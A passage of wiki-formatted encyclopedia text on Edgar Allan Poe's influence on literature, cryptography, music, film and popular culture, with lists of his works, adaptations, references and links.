The [[Mystery Writers of America]] have named their awards for excellence in the genre the &quot;[[Edgar Award|Edgars]].&quot;

====Science Fiction, Gothic Fiction and Horror Fiction====
Poe also profoundly influenced the development of early [[science fiction]] author [[Jules Verne]], who discussed Poe in his essay ''Poe et ses &amp;#339;uvres'' and also wrote a sequel to Poe's novel ''The Narrative of Arthur Gordon Pym of Nantucket'' called ''The Narrative of Arthur Gordon Pym, Le sphinx des glaces'' (''Poe Encyclopedia'' 364). [[H. G. Wells]], in discussing the construction of his classics of science fiction, ''The War of the Worlds'' and ''The First Men in the Moon'', noted that &quot;''Pym'' tells what a very intelligent mind could imagine about the south polar region a century ago&quot; (''Poe Encyclopaedia'' 372).  Renowned science fiction author [[Ray Bradbury]] has also professed a love for Poe.  He often draws upon Poe in his stories and mentions Poe by name in several stories. His anti-[[censorship]] story &quot;Usher II&quot;, set in a [[dystopia]]n future in which the works of Poe (and some other authors) have been censored, features an eccentric who constructs a house based on Poe's tale &quot;The Fall of the House of Usher&quot;.

Along with [[Mary Shelley]], Poe is regarded as the foremost proponent of the [[Gothic_novel|Gothic]] strain in literary Romanticism. [[Death]], decay and madness were an obsession for Poe. His curious and often nightmarish work greatly influenced the [[Horror fiction|horror]] and [[fantasy]] genres, and the horror fiction writer [[H. P. Lovecraft]] claimed to have been profoundly influenced by Poe's works.

====Physics and Cosmology====
''Eureka'', an essay written in [[1848]], included a cosmological theory that anticipated the [[Big Bang]] theory  by 80 years, as well as the first plausible solution to [[Olbers' paradox]].  Though described as a &quot;[[prose poem]]&quot; by Poe, who wished it to be considered as art, this work is a remarkable scientific and mystical essay unlike any of his other works.  He wrote that he considered ''Eureka'' to be his career masterpiece.

Poe eschewed the scientific method in his ''Eureka''.  He argued instead that he was reasoning from pure [[intuition]], using neither the [[Aristotelian]] [[a priori]] method of [[axioms]] and [[syllogisms]], nor the [[empirical]] method of modern science set forth by [[Francis Bacon (philosopher)|Francis Bacon]]. For this reason, he considered it a work of art, not science, but insisted that it was still true. Though some of his assertions have later proven to be false (such as his assertion that gravity must be the strongest [[force]]--it is actually the ''weakest''), others have been shown to be surprisingly accurate and decades ahead of their time.

====Cryptography====
Poe had a keen interest in the field of [[cryptography]], as exemplified in his short story ''[[The Gold Bug]]''. In particular he placed a notice of his abilities in the [[Philadelphia]] paper ''Alexander's Weekly (Express) Messenger'', inviting submissions of [[cipher]]s, which he proceeded to solve.[http://starbase.trincoll.edu/~crypto/historical/poe.html]  His success created a public stir for some months.  He later wrote essays on methods of cryptography which proved useful in deciphering the [[Germany|German]] codes employed during [[World War I]].

Poe's success in cryptography relied not so much on his knowledge of that field (his method was limited to the simple substitution cryptogram), as on his knowledge of the magazine and newspaper culture. His keen analytical abilities, which were so evident in his detective stories, allowed him to see that the general public was largely ignorant of the methods by which a simple substitution cryptogram can be solved, and he used this to his advantage. [http://www.usna.edu/EnglishDept/poeperplex/cryptop.htm] The sensation Poe created with his cryptography stunt played a major role in popularizing cryptograms in newspapers and magazines.

====American Short Story Writers and Poets====
Poe's literary reputation was greater abroad than in the United States, perhaps as a result of America's general revulsion towards the macabre. Rufus Griswold's defamatory reminiscences did little to commend Poe to U.S. literary society.  However, American authors as diverse as [[Walt Whitman]], [[H. P. Lovecraft]], [[William Faulkner]], and [[Herman Melville]] were influenced by Poe's works. [[Flannery O'Connor]], however, claimed the influence of Poe on her works was &quot;something I'd rather not think about&quot; (''Poe Encyclopaedia'', p. 259).

[[Nathanael West]] used the concept and remarkable black humour of Poe's &quot;The Man That Was Used Up&quot; in his third novel, ''A Cool Million''. [[T. S. Eliot]], who was quite hostile to Poe, conceded that &quot;it is impossible, however, to know if even one's own works were not influenced by his.&quot;

====Influence on French Literature====
In [[France]], where he is commonly known as &quot;Edgar Poe,&quot; [[Charles Baudelaire]] translated his stories and several of the poems into French. His excellent translations meant that Poe enjoyed a vogue among [[avant-garde]] writers in France while being ignored in his native land. Poe also exerted a powerful influence over Baudelaire's own poetry, as can be seen from Baudelaire's obsession with macabre imagery, morbid themes, musical verse and aesthetic pleasure. In a draft preface to his most famous work, ''[[Les Fleurs du Mal]]'', Baudelaire lists Poe as one of the authors whom he plagiarized.  Baudelaire also found in Poe an example of what he saw as the destructive elements of [[bourgeois]] society. Poe himself was critical of [[democracy]] and [[capitalism]] (in his story &quot;Mellonta Tauta,&quot; Poe proclaims that &quot;democracy is a very admirable form of government—for dogs&quot; [http://www.eapoe.org/works/tales/mellntab.htm]), and the tragic poverty and misery of Poe's biography seemed, to Baudelaire, to be the ultimate example of how the bourgeoisie destroys genius and originality. 

Poe was much admired, also, by the school of [[Symbolism (arts)|Symbolism]]. [[Stéphane Mallarmé]] dedicated several poems to him and translated some of Poe's works into French, accompanied by illustrations by Manet (see below).  The later authors [[Paul Valéry]] and [[Marcel Proust]] were great admirers of Poe, the latter saying &quot;Poe sought to arrive at the beautiful through evocation and an elimination of moral motives in his art.&quot; From France, writers like [[Algernon Swinburne]] caught the Poe-bug, and Swinburne's musical verse owes much to Poe's technique.

====Other World Literature Influenced by Poe====
[[Oscar Wilde]] called Poe &quot;this marvellous lord of rhythmic expression&quot; and drew on Poe's works for his novel ''[[The Picture of Dorian Gray]]'' and his short stories (''Poe Encyclopedia'' 375). 

Poe's poetry was translated into [[Russia|Russian]] by the [[Symbolist]] poet [[Konstantin Bal'mont]] and enjoyed great popularity there in the late nineteenth and early twentieth centuries, influencing artists such as [[Vladimir Nabokov|Nabokov]], who makes several references to Poe's work in his most famous novel, ''[[Lolita]]''. [[Fyodor Dostoevsky]] called Poe &quot;an enormously talented writer&quot; and many of his characters, such as Raskolnikov and Porfiry Petrovich in ''[[Crime and Punishment]]'' are derived from Poe characters (in this case, Montresor from &quot;[[The Cask of Amontillado]]&quot; (this is debatable: Raskolnikov is constantly in doubt and trying to justify his actions to himself, while the chilling effect of Montresor's narration lies precisely in the character's calm certainty of his purpose) and [[Auguste Dupin]] from &quot;Murders in the Rue Morgue&quot;) (''Poe Encyclopaedia'' 102).  He wrote favorable reviews of Poe's detective stories and briefly references &quot;[[The Raven]]&quot; in his novel ''[[The Brothers Karamazov]]''.  Poe was also an influence for the [[Sweden|Swedish]] poet and author [[Viktor Rydberg]], who translated a considerable amount of Poe's work into [[Swedish language|Swedish]]; a [[Japan|Japanese]] author who even took a pseudonym, [[Edogawa Rampo]], from a rendering of Poe's name in that language; and [[Germany|German]] author [[Thomas Mann]], in whose novel ''[[Buddenbrooks]]'', a character reads Poe's short novels and professes to be influenced by his works.

[[Franz Kafka]] once said of Poe, &quot;He was a poor devil who had no defenses against the world.  So he fled into drunkenness.  Imagination served him only as a crutch.  He wrote tales of mystery to make himself at home in the world.  That's perfectly natural.  Imagination has fewer pitfalls than reality.... I know his way of escape and his dreamer's face.&quot;  Poe made a deep impression on Kafka and the influence of Poe's works on his are undeniable. Both authors focus on disturbed states of mind and the crimes or horrors that arrive from them. Also, they both used closed-off, isolated settings to explore their characters (though while Poe usually chooses exotic settings, such as the catacombs beneath an Italian palazzo or an abandoned mansion in the Apennines, Kafka tends more often to choose settings of urban blight, such as a stuffy apartment or the attics of housing projects.)

[[Argentina|Argentinian]] author [[Jorge Luis Borges]] was a great admirer of Poe's works, and translated his stories into [[Spanish language|Spanish]].  Many of the characters from Borges' stories are borrowed directly from Poe's stories, and in many of his stories Poe is mentioned by name.

The Japanese author [[Edogawa Rampo]] adopted that pseudonym in  honor of Poe's invention of the detective story.

====Music====
In the music world, [[Lou Reed]], [[Joseph Holbrooke]], [[Claude Debussy]], [[Sergei Rachmaninoff]], and others composed musical works based on the works of Poe. Holbrooke composed a [[symphonic poem]] based on &quot;The Raven.&quot; Debussy often declared Poe's profound effect on his music (''Poe Encyclopedia'' 93) and began operas based on ''The Fall of the House of Usher'' and ''[[The Devil in the Belfry]]'', though he did not finish them. Rachmaninoff transformed &quot;The Bells&quot; into a choral symphony.  (Three other orchestral works based on Poe, along with the Rachmaninoff, were featured in a concert given by the [[American Symphony Orchestra]] in October 1999 {{ref|music}}.)  In addition, the American folk and protest singer [[Phil Ochs]] set Poe's poem of &quot;The Bells&quot; to music on his debut album &quot;All The News That's Fit To Sing&quot; in 1964. Choral composer Jonathan Adams also set three poems--&quot;Hymn,&quot; &quot;Evening Star,&quot; and &quot;Eldorado&quot;-- as ''Three Songs from Edgar Allan Poe'' for [[Choir#Structure of choirs|SATB]] chorus and piano in [[1993]]. [[Peter Hammill]] has written and recorded an operatic version of &quot;[http://www.sofasound.com/misccds/usher.htm The Fall of the House of Usher].&quot;

In [[1976]], the [[Alan Parsons Project]], a British rock pop group, released ''Tales of Mystery and Imagination,'' an album of music based on Poe's stories and poems.  In [[2003]], [[Eric Woolfson]] revisited the original concept that he and [[Alan Parsons]] developed with his [[musical]] [http://www.poe-cd.com Poe: More Tales of Mystery and Imagination] with [[Steve Balsamo]] playing the leading role of embattled writer.  [[Lou Reed]] released a double CD [[concept album]] called [[The Raven (album)|The Raven]] in 2003 featuring a number of musical and spoken word interpretations, with guest appearances from various actors, including [[Steve Buscemi]] and [[Willem Dafoe]].

[[heavy metal music|Heavy metal]] band [[Iron Maiden]] recorded a song titled &quot;Murders in the Rue Morgue&quot; for their second album, ''Killers''. The metal band [[Grave Digger (band)|Grave Digger]] released an album in [[2001]] entitled &quot;The Grave Digger&quot;.  All twelve songs are based fully on Poe's works. The progressive metal band [[Symphony X]] also has a few references to Poe's work in their tracks, like &quot;King of Terrors&quot; on their album ''[[The Odyssey (album)|The Oddysey]]''.

[[The Beatles]] song &quot;[[I am the Walrus]]&quot; contains the line &quot;Man, you should seen them kicking Edgar Allan Poe.&quot;

Other bands, such as [[Green Day]] and [[Good Charlotte]], have featured Edgar Allan Poe and his stories in some of their songs.

[[Elysian Fields (music)|Elysian Fields]] has been known to perform some of Poe's work in song form. The song &quot;Tomb of Ligeia&quot; by the band [[Team Sleep|Team Sleep]] is based on Poe's story &quot;Ligeia.&quot; German-based band [http://www.diorama-music.com/ Diorama] recorded a song &quot;Her Liquid Arms&quot; in 2001, for the album of the same name, which starts with a spoken sample of the end of &quot;[[The Tell-Tale Heart]].&quot; The rock band Finch recorded a song titled &quot;The Casket of Roderick Usher&quot; as a continuation of Poe's &quot;The Fall of the House of Usher&quot; on their 2005 album ''Say Hello To Sunshine.''

[[Britney Spears]] named her [[2001]]-[[2002]] [[concert tour]] ''Dream Within a Dream'',  incorporating lines from that poem (and other Poe works) in the show. Also in 2001, post-hardcore band Thrice released &quot;The Illusion of Saftey&quot;, which featured the song &quot;The Red Death&quot;, making reference to &quot;The Masque of the Red Death.&quot; 

Recently, English-born, New York singer/songwriter [[Anthony Heggarty]] of [[Anthony and the Johnsons]] used Poe's poem &quot;The Lake&quot; in a piano-accompanied [[torch song]], as the title track and single from their Lou Reed-endorsed ''The Lake'' EP.

====Visual Arts====
In the world of visual arts, [[Gustave Doré]] and [[Édouard Manet]] composed several illustrations for Poe's works.

====Playwrights and Filmmakers====
On the stage, the great dramatist [[George Bernard Shaw]] was greatly influenced by Poe's literary criticism, calling Poe &quot;the greatest journalistic critic of his time&quot; (''Poe Encyclopaedia'' 315).  The musical play ''Nevermore'' [http://signature-theatre.org/seasondescrip.htm#nevermore], by Matt Conner and Grace Barnes, was inspired by Poe's poems and essays. [[Alfred Hitchcock]] declared Poe as one of his inspirations, saying &quot;It's because I liked Edgar Allan Poe's stories so much that I began to make suspense films.&quot; Actor [[John Astin]], who performed as Gomez in the [[Addams Family]] [[television series]], is an ardent admirer of Poe, and in recent years has starred in a [[one man play]] based on Poe's life and works, entitled ''[[Edgar Allan Poe: Once Upon a Midnight]]''. The play is lent a degree of realism by the fact that Astin more than slightly resembles Poe in appearance. [http://www.astin-poe.com/] Astin also wrote an essay on Poe's [[prose poem]] ''Eureka'' [http://www.astin-poe.com/eureka.html] and has said of Poe, &quot;I feel that Poe, through his own tortured existence, gained deep insight into the nature of the universe, along with an intense love and appreciation for life itself. Through this play I want to share that impression with others.&quot; [http://www.astin-poe.com/astin.html]

====Literary Criticism====
The poet and critic [[W. H. Auden]] revitalized interest in Poe's works, especially his critical works. Auden said of Poe, &quot;His portraits of abnormal or self-destructive states contributed much to [[Dostoyevsky]], his ratiocinating hero is the ancestor of Sherlock Holmes and his many successors, his tales of the future lead to H. G. Wells, his adventure stories to Jules Verne and [[Robert Louis Stevenson]].&quot; (''Poe Encyclopedia'' 27).

====Pop Culture====
His legacy is abundant in modern pop culture.  It is much alive in the city of Baltimore.  Even though Poe spent less than two years there, he is now treated as a native son.  In 1996, when NFL football arrived, the team took the name [[Baltimore Ravens]], in honor of his best known poem.  The team's three &quot;winged&quot; [[mascots]] were named Edgar, Allan, and Poe. The [[television]] [[show]] ''[[Homicide: Life on the Street]]'', set in Baltimore, made reference to Poe and his works in several episodes. Poe figured most prominently in an episode in which a Poe-obsessed killer walls up his victim in the basement of a house to imitate the grisly murder of Fortunado by Montressor in &quot;The Cask of Amontillado&quot;. In a disturbing scene near the end of the episode, the killer reads from the works of Poe as a [[dramatic]] effect to increase the tension.

But Poe's vast influence over pop culture does not end with Baltimore.  Poe's image, with his weary expression, piercing eyes and tangled hair (see the daguerreotype above), has become a cultural icon for the troubled genius.  His face adorns the bottlecaps of Raven Beer {{ref|beer}}, the covers of numerous books on American literature as a whole, and is often stereotyped in cartoons as &quot;the creepy guy&quot;. {{ref|camb}} In 1967, Poe appeared as part of the backdrop crowd of the [[Beatles]]' immensely popular album, ''[[Sgt. Pepper's Lonely Heart's Club Band]]''.  In one of their songs, &quot;[[I Am the Walrus]],&quot; the lyrics include &quot;man you should have seen them kicking Edgar Allen Poe.&quot; Besides the Beatles, numerous popular movie makers and rock stars have incorporated Poe or Poe's works into their works (see &quot;Adaptations&quot; below).
The Lemony Snickett books have Mr. Poe with his children Edgar and Allen as the guardian of the Baudelaire children.

====Preserved home====
Edgar Allan Poe, his wife Virginia, and his mother-in-law Maria rented several homes in Philadelphia, but only the last house has survived. The Spring Garden home, where the author lived in 1843-44, is today preserved by the [[National Park Service]] as the [[Edgar Allan Poe National Historic Site]]. It is located on 7th and Spring Garden Streets, and is open Wednesday through Sunday, 9 a.m. to 5 p.m.

==Notable works==
===Poems===
*&quot;A Dream&quot; (1827) ([http://en.wikisource.org/wiki/A_Dream_%28Poe%29 Full Text] at Wikisource)
*&quot;A Dream Within a Dream&quot; (1827) ([http://en.wikisource.org/wiki/A_Dream_Within_a_Dream Full Text]  at Wikisource)
*&quot;Dreams&quot; (1827) ([http://en.wikisource.org/wiki/Dreams_%28Poe%29 Full Text] at Wikisource)
*&quot;Tamerlane&quot; (1827) ([http://en.wikisource.org/wiki/Tamerlane Full Text] at Wikisource)
*&quot;[[Al Aaraaf]]&quot; (1829) ([http://en.wikisource.org/wiki/Al_Aaraaf Full Text] at Wikisource)
*&quot;Alone&quot; (1830) ([http://en.wikisource.org/wiki/Alone Full Text] at Wikisource)
*&quot;To Helen&quot; (1831) ([http://en.wikisource.org/wiki/To_Helen_%281831%29 Full Text] at Wikisource)
*&quot;Israfel&quot; (1831) ([http://en.wikisource.org/wiki/Israfel Full Text] at Wikisource)
*&quot;[[The City in the Sea]]&quot; (1831) ([http://en.wikisource.org/wiki/The_City_in_the_Sea Full Text] at Wikisource)
*&quot;To One in Paradise&quot; (1834) ([http://en.wikisource.org/wiki/To_One_In_Paradise Full Text] at Wikisource)
*&quot;[[The Conqueror Worm]]&quot; (1837) ([http://en.wikisource.org/wiki/The_Conqueror_Worm Full Text] at Wikisource)
*&quot;Silence&quot; (1840) ([http://en.wikisource.org/wiki/Silence_%28Poe%29 Full Text] at Wikisource)
*&quot;[[Lenore]]&quot; (1843) ([http://en.wikisource.org/wiki/Lenore Full Text] at Wikisource)
*&quot;Dreamland&quot; (1844) ([http://en.wikisource.org/wiki/Dream-Land Full Text] at Wikisource)
*&quot;[[The Divine Right of Kings (poem)|The Divine Right of Kings]]&quot; (1845)
*&quot;[[The Raven (Edgar Allan Poe)|The Raven]]&quot; (1845) ([http://en.wikisource.org/wiki/The_Raven_%28Poe%29 Full Text] at Wikisource; [http://librivox.org/the-raven-by-edgar-allan-poe/ audio] at [http://librivox.org LibriVox])
*&quot;[[Ulalume]]&quot; (1847) ([http://en.wikisource.org/wiki/Ulalume Full Text] at Wikisource)
*&quot;[[Eureka (Edgar Allan Poe)|Eureka]]&quot; (1848) a prose poem.
*&quot;[[Annabel Lee]]&quot; (1849) ([http://en.wikisource.org/wiki/Annabel_Lee Full Text] at Wikisource)
*&quot;[[The Bells]]&quot; (1849) ([http://en.wikisource.org/wiki/The_Bells Full Text] at Wikisource)
*&quot;[[Eldorado]]&quot; (1849)

===Short Stories===
*&quot;[[MS. Found in a Bottle]]&quot; (1833) ([http://en.wikisource.org/wiki/MS._Found_in_a_Bottle Full text] at Wikisource)
*&quot;[[Berenice (short story)|Berenice]]&quot; (1835) ([http://en.wikisource.org/wiki/Berenice Full text] at Wikisource)
*&quot;[[Ligeia]]&quot; (1838) ([http://en.wikisource.org/wiki/Ligeia Full text] at Wikisource)
*&quot;[[The Fall of the House of Usher]]&quot; (1839) ([http://en.wikisource.org/wiki/The_Fall_of_the_House_of_Usher Full text] at Wikisource)
*&quot;[[William Wilson (short story)|William Wilson]]&quot; (1839) ([http://en.wikisource.org/wiki/William_Wilson Full Text] at Wikisource)
*&quot;[[The Conversation of Eiros and Charmion]]&quot; (1839) ([http://en.wikisource.org/wiki/The_Conversation_of_Eiros_and_Charmion Full Text] at Wikisource)
*&quot;[[The Masque of the Red Death]]&quot; (1842) ([http://en.wikisource.org/wiki/The_Masque_of_the_Red_Death Full Text] at Wikisource)
*&quot;[[The Pit and the Pendulum]]&quot; (1842)  ([http://en.wikisource.org/wiki/The_Pit_and_the_Pendulum Full text] at Wikisource)
*&quot;[[The Light-House]]&quot; (unfinished, published posthumously in 1909 and 1942)
*&quot;[[The Gold Bug]]&quot; (1843) ([http://en.wikisource.org/wiki/The_Gold-Bug Full text] at Wikisource)
*&quot;[[The Tell-Tale Heart]]&quot; (1843) ([http://en.wikisource.org/wiki/The_Tell-Tale_Heart Full text] at Wikisource)
*&quot;[[The Black Cat (short story)|The Black Cat]]&quot; (1843) ([http://en.wikisource.org/wiki/The_Black_Cat Full text] at Wikisource; [http://librivox.org/short-story-collection-001/ audio] at [http://www.librivox.org Librivox])
*&quot;[[The Premature Burial]]&quot; (1844) ([http://en.wikisource.org/wiki/The_Premature_Burial Full text] at Wikisource)
*&quot;[[The Balloon-Hoax]]&quot; (1844) ([http://en.wikisource.org/wiki/The_Balloon-Hoax Full text] at Wikisource)
*&quot;[[The Facts in the Case of M. Valdemar]]&quot; (1845) ([http://en.wikisource.org/wiki/The_Facts_in_the_Case_of_M._Valdemar Full text] at Wikisource)
*&quot;Some Words with a Mummy&quot; (1845) ([http://en.wikisource.org/wiki/Some_Words_with_a_Mummy Full text] at Wikisource)
*&quot;The Imp of the Perverse&quot; (1845) ([http://en.wikisource.org/wiki/The_Imp_of_the_Perverse Full text] at Wikisource)
*&quot;The System of Doctor Tarr and Professor Fether&quot; (1845) ([http://en.wikisource.org/wiki/The_System_of_Dr._Tarr_and_Prof._Fether] at Wikisource)
*&quot;[[The Cask of Amontillado]]&quot; (1846) ([http://en.wikisource.org/wiki/The_Cask_of_Amontillado Full text] at Wikisource)
*&quot;[[The Spectacles (short story)|The Spectacles]]&quot; (1850) ([http://en.wikisource.org/wiki/The_Spectacles Full text] at Wikisource)
*&quot;Morella&quot; (1835) ([http://en.wikisource.org/wiki/Morella Full text] at Wikisource)
*&quot;The Thousand-And-Second Tale of Scheherazade&quot; (1850) ([http://en.wikisource.org/wiki/The_Thousand-and-Second_Tale_of_Scheherazade Full text] at Wikisource)
*&quot;A Tale of Jerusalem&quot; (1850) ([http://en.wikisource.org/wiki/A_Tale_of_Jerusalem Full text] at Wikisource)
*&quot;The Oblong Box&quot; (1850) ([http://en.wikisource.org/wiki/The_Oblong_Box Full text] at Wikisource)
*&quot;[[A Descent into the Maelstrom]]&quot; (1850) ([http://en.wikisource.org/wiki/A_Descent_into_the_Maelstrom Full text] at Wikisource)
*&quot;Hop-Frog, or The Eight Chained Ourang-Outangs&quot; (1850) ([http://en.wikisource.org/wiki/Hop-Frog Full text] at Wikisource)

====The [[Auguste Dupin]] stories====
*&quot;[[The Murders in the Rue Morgue]]&quot; (1841) ([http://en.wikisource.org/wiki/The_Murders_in_the_Rue_Morgue Full text] at Wikisource)
*&quot;[[The Mystery of Marie Roget]]&quot; (1843) ([http://en.wikisource.org/wiki/The_Mystery_of_Marie_Rog%C3%AAt Full text] at Wikisource)
*&quot;[[The Purloined Letter]]&quot; (1844) ([http://en.wikisource.org/wiki/The_Purloined_Letter Full text] at Wikisource)

===Longer Works===
*''The Unparalleled Adventures of One Hans Pfall'' (1835)
*''[[The Narrative of Arthur Gordon Pym of Nantucket]]'' (novel) (1838)

===Essays===
*&quot;[[Mechanical Turk|Maelzel's Chess-Player]]&quot; (1836)
*&quot;Mesmeric Revelation&quot; (1844)
*&quot;[[The Philosophy of Composition]]&quot; (1846)
*&quot;The Rationale of Verse&quot;
*&quot;[[Landor´s Cottage]]&quot;
*&quot;The Domain of Arnheim&quot;
*&quot;[[The Poetic Principle]]&quot; (Posthumously published, 1850)
*&quot;[[Eureka (Edgar Allan Poe)|Eureka: An Essay on the Material and Spiritual Universe]]&quot; (1848)   [http://www.eapoe.org/works/editions/eurekac.htm] (also known as &quot;Eureka: A Prose Poem&quot;)

===Play===
*'' Politian'' (fragment, 1835) ([http://en.wikisource.org/wiki/Scenes_from_Politian Scenes Full Text] at Wikisource)

==Adaptations==
*Several of Poe's works were made into [[film|movie]]s, notably a series of movies directed by [[Roger Corman]] and starring [[Vincent Price]]. The [[1993]] [[film]] ''The Mummy Lives'', starring [[Tony Curtis]], screenplay by [[Nelson Gidding]], was suggested by Poe's ''Some Words with a Mummy'' ([[1845]]).
* Vincent Price collaborated with actor [[Basil Rathbone]] on a collection of their readings of Poe's stories and poems.
*Author [[Ray Bradbury]] is a great admirer of Poe, and has either featured Poe as a character or alluded to Poe's stories in many of his works.
*[[Robert R. McCammon]] wrote ''Ushers Passing'', a sequel to ''Fall of the House of Usher'', published in [[1984]]
*In [[1995]] several of Poe's stories were combined to make an interactive novel stylised as a video game called [http://www.adventuregamers.com/article/id,317 The Dark Eye].
*A double-[[Compact disc|CD]] organized by Hal Willner, &quot;[[Closed On Account of Rabies]]&quot; with poems and tales of Poe performed by artists as diverse as [[Christopher Walken]], [[Marianne Faithfull]], [[Iggy Pop]] and [[Jeff Buckley]] was issued in 1997.
* &quot;The Black Cat&quot; was translated to ''[[giallo]]'' film as ''Eye of the Black Cat'' (a.k.a. ''Your Vice is a Locked Room and Only I have the Key'')
*''[[The Simpsons]]'' episode 7F04, &quot;Treehouse of Horror,&quot; aired [[October 25]], [[1990]] contains a segment in which [[James Earl Jones]] reads Poe's poem &quot;The Raven,&quot; with [[Homer Simpson|Homer]] playing the narrator, [[Marge Simpson|Marge]] making a brief appearance as Lenore, and [[Bart Simpson|Bart]] as the raven.
*In the [[Nintendo]] [[video game]] series ''[[The Legend Of Zelda]]'', the ghosts that feature throughout the games are called Poes.
*Poe's &quot;The Cask of Amontillado&quot; has been animated as a [[brickfilm]] by Canadian animator, [http://logan.brickfilms.com/tcoa.htm Logan Wright]. It can be found online [http://www.brickfilms.com/filmview.php?filmID=719 here].
*In 2005, Lurker Films released an Edgar Allan Poe film collection on [[DVD]], including short film adaptations of &quot;[[Annabel Lee]]&quot; by director George Higham, &quot;[[The Raven]]&quot; by director Peter Bradley and &quot;[[The Tell-Tale Heart]]&quot; by director Alfonso S. Suarez.

== Selected Films Based on  or Inspired By Poe's Life and  Works==
*''[[Edgar Allan Poe]] (1909)
*''[[The Gold Bug]] (1910) - France
*''[[The Pit and the Pendulum]] (1910) - Italy
*''[[The Bells]] (1912)
*''[[The Avenging Conscience]] (1914)
*''[[The Tell Tale Heart]] (1928)
*''[[The Fall of the House of Usher]] (1928)
*''[[The Murders in the Rue Morgue]] (1932)
*''[[The Loves of Edgar Allan Poe]] (1942)
*''[[Tell-Tale Heart]] (1953)
*''[[The Phantom of the RueMorgue]] (1953)
*''[[House of Usher]] (1960)
*''[[The Tell-Tale Heart]] (1960)
*''[[The Pit and the Pendulum]] (1961)
*''[[The Premature Burial]] (1962)
*''[[Tales of Terror]] (1962)
*''[[The Raven]] (1963)
*''[[The Masque of the Red Death]] (1964)
*''[[Danza macabra]] (1964)
*''[[The Tomb of Ligeia]] (1965)
*''[[The Murders in the Rue Morgue]] (1971)
*''[[The Spectre of Edgar Allan Poe]] (1974)
*''[[The Raven...Nevermore]] (1999)
*''[[The Raven]] (short film - 2003)
*''[[The Death of Poe]] (2005)
*''[[Poe]] (2006)

==Poe as a character==
*''When It Was Moonlight'', a short story by [[Manly Wade Wellman]] appeared in the February [[1940]] issue of ''[[Unknown (magazine)|Unknown]]''
*''[[The Loves of Edgar Allan Poe]]''([[1942]]); Poe is played by [[John Shepherd]] ( sometimes known as [[Shepherd Strudwick]].
*''[[Danza macabra]]'' ([[1964]]) [[horror film]] directed by [[Antonio Margheriti]]; Poe is played by Silvano Sorrente.
*''[[Torture Garden]]''([[1967]]) [[horror film]] directed by [[Freddie Francis]]; Poe is played by [[Hedger Wallace]].
*''[[Nella stretta morsa del ragno]]'' (1971) [[horror film]] directed by [[Antonio Margheriti]]; Poe is played by [[Klaus Kinski]].
*''[[The Specte of Edgar Allan Poe]]'' (1974); Poe is portrayed by [[Robert Walker, Jr.]].
*''Child of Night'' ([[1975]]) by [[Anne Edwards]]
*''Evermore'' ([[1978]]), a novel by Barbara Steward
*''Poe Must Die'' (1978), a novel by Marc Olden
*''The Man Who Was Poe'' ([[1989]]), a juvenile novel by [[Edward Irving Wortis|Avi]]
*''The Hollow Earth'' ([[1990]]), a novel by [[Rudy Rucker]] in which Poe explores the [[Hollow Earth|inhabited center of the world]]
*''The Black Throne'' (1990), a novel by [[Roger Zelazny]] and [[Fred Saberhagen]]
*Writer Stephen Marlowe adapted the strange details of Poe's death into his 1995 novel ''The Lighthouse at the End of the World''.
*''Tale of a Vampire'' ([[1992]]) [[horror film]] directed by [[Shimako Sato]]; [[Kenneth Cranham]] plays &quot;Edgar&quot;, [[Suzanna Hamilton]] is Virginia and her reincarnation Anne, and [[Julian Sands]] is Alex, the vampire who completes the triangle.
*''Nevermore'' ([[1999]]), a novel by [[Harold Schechter]]
*''[[The Phantom]]'' [[comic strip]] ([[2000]]), written by Tony De Paul and drawn by César Spadari
*''The Hum Bug'' ([[2001]]), a novel by Harold Schechter
*''The Mask of Red Death'' ([[2004]]), a novel by Harold Schechter
*''[[Edgar Allan Poe: Once Upon a Midnight]]'', starring [[John Astin]] as Poe.

==Notes==
#{{note|name}} [http://www.eapoe.org/geninfo/poeallan.htm Poe's Middle Name]. ''The Edgar Allan Poe Society of Baltimore ''
#{{note|umm}} Benitez, R. Michael (Sep. 24, 1996). [http://www.umm.edu/news/releases/news-releases-17.html Edgar Allan Poe Mystery]. ''University of Maryland Medical News''
#{{note|cemetery}} [http://www.baltimoresun.com/entertainment/visitor/college/59074,0,5453484.location Baltimore Sun article] about Westminster Hall.
#{{note|lawschool}} [http://www.law.umaryland.edu/ UM School of Law] homepage.
#{{note|obit}}To read Griswold's full obituary, see [[wikisource:Edgar Allan Poe obituary|Edgar Allan Poe obituary]] at Wikisource.
#{{note|music}} [http://www.americansymphony.org/dialogues_extensions/99_2000season/1999_10_15/leon.cfm Tales of Edgar Allan Poe]. ''American Symphony Orchestra''
#{{note|beer}} [http://www.ravenbeer.com/home.html Baltimore-Washington Beer Works]
#{{note|camb}} See &quot;Poe and popular culture&quot; by Mark Neimeyer, (2002). Discussion of the modern presentation of Edgar Allan Poe found in ''The Cambridge Companion to Edgar Allan Poe'': University Press; Cambridge, UK. ISBN 0521793262

==General references==
*''The Poe Encyclopedia'' by Frederick S. Frank and Anthony Magistrale.  Greenwood Press, Westport, Connecticut and London, (1997) ISBN 0313277680
*''Collected Works of Edgar Allan Poe'', three volumes (I and II Tales and Sketches, III Poems), edited by Thomas Ollive Mabbott, The Belknap Press Of Harvard University Press, Cambridge, Massachusetts, London, England, 1978
*''Collected Works of Edgar Allan Poe'', Walter J. Black Inc, New York, (1927)

==External links==
{{wikiquote}}
{{wikisource author}}
{{commons|Edgar Allan Poe}}

===About Poe===
* [http://www.nps.gov/edal/index1.html Edgar Allan Poe National Historic Site] - Poe's Spring Garden home
* [http://www.poemuseum.org/ Poe Museum in Richmond, Virginia]
* [http://www.opcommunication.com/grapho/Edgar_Allen_Poe.gif Edgar Allan Poe's Signature]

===Works===
*{{gutenberg author|id=Edgar_Allan_Poe|name=Edgar Allan Poe}}
*[http://eserver.org/books/poe/ Complete Works of Edgar Allan Poe] at [http://eserver.org EServer.org]
* [http://artofhacking.com/iet/poe/index.htm Works of Edgar Allan Poe - Full Text]
* [http://www.quotesandpoem.com/poems/PoetsAndPoems/Poe Poetry, Prose and Quotes by Poe]
*[http://search.able2know.com/Books___Literature/Poetry/P/Poe__Edgar_Allan/index.html Full text of Poe's poems] via [http://able2know.com/ Able2Know Portal]
* [http://www.poestories.com/ PoeStories.com] - A well organized site with summaries, quotes, and full text of Poe's short stories, a Poe timeline, and image gallery. Stories have linked vocabulary words and definitions for educational reading.
* [http://www.comnet.ca/~forrest/library.html The Edgar Allan Poe Virtual Library]

===Miscellaneous===
